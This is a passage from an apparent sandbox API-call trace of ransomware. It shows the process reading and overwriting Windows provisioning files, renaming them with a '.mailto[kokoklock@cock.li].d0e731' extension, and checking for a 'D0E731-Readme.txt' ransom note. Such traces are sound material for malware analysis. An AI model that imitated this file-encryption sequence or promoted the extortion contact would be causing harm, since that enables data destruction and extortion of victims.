0x55dc1b0 [0087.395] NtQuerySystemTime (in: CurrentTime=0x2f3bfb48 | out: CurrentTime=0x2f3bfb48*=132121176452891932) returned 0x0 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xf86e1fcc [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x48065ac1 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x27cace2e [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x6569b672 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xb22b7000 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xbf88c834 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xd486e2f3 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x4d498031 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x936b30c9 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xe07fbe5d [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xbde46635 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xd33faded [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x10fdc5c4 [0087.395] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xf5417dce [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x358f18a9 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x35ce3dbf [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xfe345872 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x330752c5 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xc30ba268 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x5644f222 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x7ebd4cf0 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x7d0c51 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x67480918 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xe889efc1 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x7783287b [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x17e49030 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xa940ad5f [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x64d0744d [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xc8e19033 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0x5b321ee3 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xdbe14059 [0087.396] RtlRandom (in: Seed=0x2f3bfb54 | out: Seed=0x2f3bfb54) returned 0xd1349401 [0087.410] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x2f3bfb48, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f3bfb48*=0x28e, lpOverlapped=0x0) returned 1 [0087.410] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3bfb10 | out: lpNewFilePointer=0x0) returned 1 [0087.411] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x2f3bfb44, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f3bfb44*=0x28e, lpOverlapped=0x0) returned 1 [0087.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc200 [0087.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc228 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc228) returned 1 [0087.411] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f3bfb40, lpOverlapped=0x0 | out: lpBuffer=0x55dc200*, lpNumberOfBytesWritten=0x2f3bfb40*=0x20, lpOverlapped=0x0) returned 1 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc200) returned 1 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.411] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc1d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x55dc1d8*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x8, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f3bfb84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x2f3bfb84*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x6c, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x20, lpOverlapped=0x0) returned 1 [0087.412] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f3bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f3bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0087.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1d8) returned 1 [0087.412] CloseHandle (hObject=0x3d0) returned 1 [0087.412] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x186) returned 0x33fc9c8 [0087.412] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" [0087.412] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.412] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.413] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.413] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.413] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.414] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.414] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.414] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.414] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.414] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7278) returned 1 [0087.414] RtlExitUserThread (Status=0x1) Thread: id = 1359 os_tid = 0x1134 [0087.415] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.415] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.416] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.416] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f43f964 | out: lpFileSize=0x2f43f964*=729) returned 1 [0087.416] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.416] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f43f938, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x2f43f938*, lpNumberOfBytesRead=0x2f43f934*=0x4, lpOverlapped=0x0) returned 1 [0087.418] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1d8 [0087.418] NtQuerySystemTime (in: CurrentTime=0x2f43f910 | out: CurrentTime=0x2f43f910*=132121176453187758) returned 0x0 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xd05bc4f4 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xb237ac61 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xf3598caa [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x792ac08e [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x7b3a73f2 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x8e41c2a7 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x56d3a6ac [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x1fca061a [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x35d17edd [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x5b9f2dd4 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xb3489309 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x33bb2c38 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xabd7a5c [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x1f145b85 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x52953b5f [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xd40d260f [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x353cf0d4 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xe9246a75 [0087.418] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xeebc64b9 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x621ba3fe [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xd2bc041d [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x2ff0ec8 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x240acc92 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xbfdd3711 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x559b7106 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x10c15dcb [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xc7a80668 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x7f7da339 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xc1548a90 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x4d0d28dc [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0xa9944699 [0087.419] RtlRandom (in: Seed=0x2f43f91c | out: Seed=0x2f43f91c) returned 0x52d9f35b [0087.434] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x2f43f910, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f43f910*=0x2d9, lpOverlapped=0x0) returned 1 [0087.434] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f43f8d8 | out: lpNewFilePointer=0x0) returned 1 [0087.434] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d9, lpNumberOfBytesWritten=0x2f43f90c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f43f90c*=0x2d9, lpOverlapped=0x0) returned 1 [0087.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc228 [0087.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc250 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc250) returned 1 [0087.435] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f43f908, lpOverlapped=0x0 | out: lpBuffer=0x55dc228*, lpNumberOfBytesWritten=0x2f43f908*=0x20, lpOverlapped=0x0) returned 1 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc228) returned 1 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc200*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x55dc200*, lpNumberOfBytesWritten=0x2f43f934*=0x8, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f43f94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x2f43f94c*, lpNumberOfBytesWritten=0x2f43f934*=0x4, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f43f934*=0x4, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f43f934*=0x6c, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f43f934*=0x20, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f43f934, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f43f934*=0x4, lpOverlapped=0x0) returned 1 [0087.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc200) returned 1 [0087.436] CloseHandle (hObject=0x3d0) returned 1 [0087.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x190) returned 0x33fc9c8 [0087.437] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" [0087.437] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.437] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.438] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.438] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.438] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.438] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.438] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.438] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7680) returned 1 [0087.438] RtlExitUserThread (Status=0x1) Thread: id = 1360 os_tid = 0x113c [0087.440] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.440] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.440] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 